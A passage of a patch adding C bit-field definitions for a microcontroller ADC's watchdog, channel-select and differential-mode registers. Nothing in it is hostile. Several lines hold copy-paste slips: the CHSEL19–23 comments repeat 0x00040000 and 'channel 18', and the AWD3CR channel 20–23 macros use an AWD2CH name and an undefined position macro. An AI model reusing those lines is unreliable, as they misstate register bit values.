*/ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << 